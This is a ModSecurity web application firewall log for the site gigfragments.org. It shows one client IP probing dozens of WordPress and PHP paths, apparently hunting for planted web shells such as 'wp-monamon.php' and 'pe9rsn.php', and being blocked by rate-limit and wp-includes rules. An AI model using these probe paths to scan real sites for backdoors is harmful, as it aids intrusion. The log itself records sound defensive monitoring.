[Sat Feb 28 00:59:20.045879 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43286] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaHNaAP6I7SRqrhh7RrhtgAAAVY"]
[Sat Feb 28 00:59:20.467670 2026] [:error] [pid 38620:tid 38639] [client 20.220.196.236:43284] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaHNaAP6I7SRqrhh7RrhuQAAAVE"]
[Sat Feb 28 00:59:20.880143 2026] [:error] [pid 38620:tid 38634] [client 20.220.196.236:43273] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaHNaAP6I7SRqrhh7RrhvAAAAUw"]
[Sat Feb 28 00:59:21.289661 2026] [:error] [pid 15100:tid 15166] [client 20.220.196.236:43277] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaHNaUOEbzcINan_ctK3NgAAAEY"]
[Sat Feb 28 00:59:21.702567 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43988] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaHNaQP6I7SRqrhh7RrhwAAAAUo"]
[Sat Feb 28 00:59:22.114613 2026] [:error] [pid 38620:tid 38624] [client 20.220.196.236:44002] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHNagP6I7SRqrhh7RrhwwAAAUI"]
[Sat Feb 28 00:59:22.526252 2026] [:error] [pid 15100:tid 15164] [client 20.220.196.236:43270] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHNakOEbzcINan_ctK3OQAAAEQ"]
[Sat Feb 28 00:59:22.947978 2026] [:error] [pid 15099:tid 15148] [client 20.220.196.236:43980] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHNaunvP2vtPjYDq_gt0gAAAM8"]
[Sat Feb 28 00:59:23.360110 2026] [:error] [pid 15240:tid 15249] [client 20.220.196.236:43304] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaHNay1iKL_41Rk9A9NkTwAAAAc"]
[Sat Feb 28 00:59:23.773315 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:44026] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaHNawP6I7SRqrhh7RrhyAAAAU0"]
[Sat Feb 28 00:59:24.187798 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43971] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaHNbAP6I7SRqrhh7RrhzAAAAUg"]
[Sat Feb 28 00:59:24.600157 2026] [:error] [pid 38620:tid 38629] [client 20.220.196.236:43318] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaHNbAP6I7SRqrhh7Rrh0QAAAUc"]
[Sat Feb 28 00:59:25.011000 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43930] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaHNbQP6I7SRqrhh7Rrh1AAAAU0"]
[Sat Feb 28 00:59:25.421438 2026] [:error] [pid 15099:tid 15154] [client 20.220.196.236:43289] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/special.php"] [unique_id "aaHNbenvP2vtPjYDq_gt1gAAANU"]
[Sat Feb 28 00:59:25.833481 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:44009] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/special.php"] [unique_id "aaHNbQP6I7SRqrhh7Rrh2QAAAU4"]
[Sat Feb 28 00:59:26.243759 2026] [:error] [pid 38586:tid 38605] [client 20.220.196.236:43914] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/special.php"] [unique_id "aaHNbr_i6nvKNhjFW7UsIgAAARA"]
[Sat Feb 28 00:59:26.654929 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43310] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/special.php"] [unique_id "aaHNbgP6I7SRqrhh7Rrh3AAAAUg"]
[Sat Feb 28 00:59:27.075332 2026] [:error] [pid 15100:tid 15160] [client 20.220.196.236:43296] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aaHNb0OEbzcINan_ctK3PwAAAEA"]
[Sat Feb 28 00:59:27.489820 2026] [:error] [pid 15099:tid 15146] [client 20.220.196.236:43995] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aaHNb-nvP2vtPjYDq_gt5AAAAM0"]
[Sat Feb 28 00:59:27.899323 2026] [:error] [pid 15099:tid 15156] [client 20.220.196.236:43998] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aaHNb-nvP2vtPjYDq_gt5wAAANc"]
[Sat Feb 28 00:59:28.311246 2026] [:error] [pid 15099:tid 15155] [client 20.220.196.236:43976] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aaHNcOnvP2vtPjYDq_gt6gAAANY"]
[Sat Feb 28 00:59:28.721813 2026] [:error] [pid 15099:tid 15143] [client 20.220.196.236:43989] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaHNcOnvP2vtPjYDq_gt7gAAAMo"]
[Sat Feb 28 00:59:29.131680 2026] [:error] [pid 15099:tid 15134] [client 20.220.196.236:43983] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaHNcenvP2vtPjYDq_gt8QAAAME"]
[Sat Feb 28 00:59:29.544489 2026] [:error] [pid 38586:tid 38593] [client 20.220.196.236:43939] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaHNcb_i6nvKNhjFW7UsJAAAAQQ"]
[Sat Feb 28 00:59:29.957129 2026] [:error] [pid 38586:tid 38600] [client 20.220.196.236:43849] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaHNcb_i6nvKNhjFW7UsJgAAAQs"]
[Sat Feb 28 00:59:30.369539 2026] [:error] [pid 38586:tid 38592] [client 20.220.196.236:43931] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaHNcr_i6nvKNhjFW7UsKgAAAQM"]
[Sat Feb 28 00:59:30.783969 2026] [:error] [pid 38586:tid 38603] [client 20.220.196.236:43307] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaHNcr_i6nvKNhjFW7UsLAAAAQ4"]
[Sat Feb 28 00:59:31.198560 2026] [:error] [pid 15100:tid 15178] [client 20.220.196.236:43993] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaHNc0OEbzcINan_ctK3QwAAAFI"]
[Sat Feb 28 00:59:31.608208 2026] [:error] [pid 15100:tid 15163] [client 20.220.196.236:44013] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaHNc0OEbzcINan_ctK3RQAAAEM"]
[Sat Feb 28 00:59:32.020896 2026] [:error] [pid 15240:tid 15251] [client 20.220.196.236:44029] [client 20.220.196.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaHNdC1iKL_41Rk9A9NkUgAAAAk"]
[Sat Feb 28 00:59:32.433445 2026] [:error] [pid 15240:tid 15265] [client 20.220.196.236:43308] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaHNdC1iKL_41Rk9A9NkVAAAABc"]
[Sat Feb 28 00:59:32.845791 2026] [:error] [pid 38620:tid 38646] [client 20.220.196.236:43915] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaHNdAP6I7SRqrhh7Rrh9QAAAVg"]
[Sat Feb 28 00:59:33.255845 2026] [:error] [pid 15240:tid 15255] [client 20.220.196.236:43996] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aaHNdS1iKL_41Rk9A9NkVgAAAA0"]
[Sat Feb 28 00:59:33.666194 2026] [:error] [pid 15240:tid 15256] [client 20.220.196.236:43300] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-monamon.php"] [unique_id "aaHNdS1iKL_41Rk9A9NkVwAAAA4"]
[Sat Feb 28 00:59:34.076404 2026] [:error] [pid 15100:tid 15161] [client 20.220.196.236:43933] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-monamon.php"] [unique_id "aaHNdkOEbzcINan_ctK3TAAAAEE"]
[Sat Feb 28 00:59:34.488979 2026] [:error] [pid 15100:tid 15169] [client 20.220.196.236:44001] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-monamon.php"] [unique_id "aaHNdkOEbzcINan_ctK3TQAAAEk"]
[Sat Feb 28 00:59:34.901110 2026] [:error] [pid 38620:tid 38622] [client 20.220.196.236:44017] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-monamon.php"] [unique_id "aaHNdgP6I7SRqrhh7Rrh-QAAAUA"]
[Sat Feb 28 00:59:35.313581 2026] [:error] [pid 38620:tid 38641] [client 20.220.196.236:43268] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aaHNdwP6I7SRqrhh7Rrh_QAAAVM"]
[Sat Feb 28 00:59:35.724671 2026] [:error] [pid 38586:tid 38613] [client 20.220.196.236:43303] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aaHNd7_i6nvKNhjFW7UsQwAAARg"]
[Sat Feb 28 00:59:36.144674 2026] [:error] [pid 15098:tid 15105] [client 20.220.196.236:43943] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aaHNeMkFqny8dQQbmTkdtgAAAIA"]
[Sat Feb 28 00:59:36.553809 2026] [:error] [pid 38620:tid 38634] [client 20.220.196.236:43912] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aaHNeAP6I7SRqrhh7RriBQAAAUw"]
[Sat Feb 28 00:59:36.963982 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43279] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aaHNeAP6I7SRqrhh7RriCgAAAVc"]
[Sat Feb 28 00:59:37.375264 2026] [:error] [pid 38620:tid 38628] [client 20.220.196.236:43911] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aaHNeQP6I7SRqrhh7RriDQAAAUY"]
[Sat Feb 28 00:59:37.788696 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:44000] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aaHNeQP6I7SRqrhh7RriEQAAAU0"]
[Sat Feb 28 00:59:38.200841 2026] [:error] [pid 38620:tid 38634] [client 20.220.196.236:43972] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aaHNegP6I7SRqrhh7RriEwAAAUw"]
[Sat Feb 28 00:59:38.611437 2026] [:error] [pid 15240:tid 15259] [client 20.220.196.236:43951] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaHNei1iKL_41Rk9A9NkXQAAABE"]
[Sat Feb 28 00:59:39.024297 2026] [:error] [pid 38586:tid 38596] [client 20.220.196.236:43916] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaHNe7_i6nvKNhjFW7UsSQAAAQc"]
[Sat Feb 28 00:59:39.435775 2026] [:error] [pid 15100:tid 15184] [client 20.220.196.236:43274] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaHNe0OEbzcINan_ctK3XQAAAFg"]
[Sat Feb 28 00:59:39.848078 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:43327] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core.php"] [unique_id "aaHNewP6I7SRqrhh7RriHwAAAU4"]
[Sat Feb 28 00:59:40.260217 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43293] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHNfAP6I7SRqrhh7RriJgAAAUU"]
[Sat Feb 28 00:59:40.671125 2026] [:error] [pid 38586:tid 38605] [client 20.220.196.236:44022] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHNfL_i6nvKNhjFW7UsTQAAARA"]
[Sat Feb 28 00:59:41.085648 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:44008] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHNfQP6I7SRqrhh7RriLgAAAUg"]
[Sat Feb 28 00:59:41.496778 2026] [:error] [pid 38586:tid 38595] [client 20.220.196.236:43937] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aaHNfb_i6nvKNhjFW7UsTgAAAQY"]
[Sat Feb 28 00:59:41.910790 2026] [:error] [pid 15100:tid 15170] [client 20.220.196.236:43846] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aaHNfUOEbzcINan_ctK3ZAAAAEo"]
[Sat Feb 28 00:59:42.321977 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43324] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aaHNfgP6I7SRqrhh7RriNAAAAUU"]
[Sat Feb 28 00:59:42.736701 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43886] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aaHNfgP6I7SRqrhh7RriNgAAAU0"]
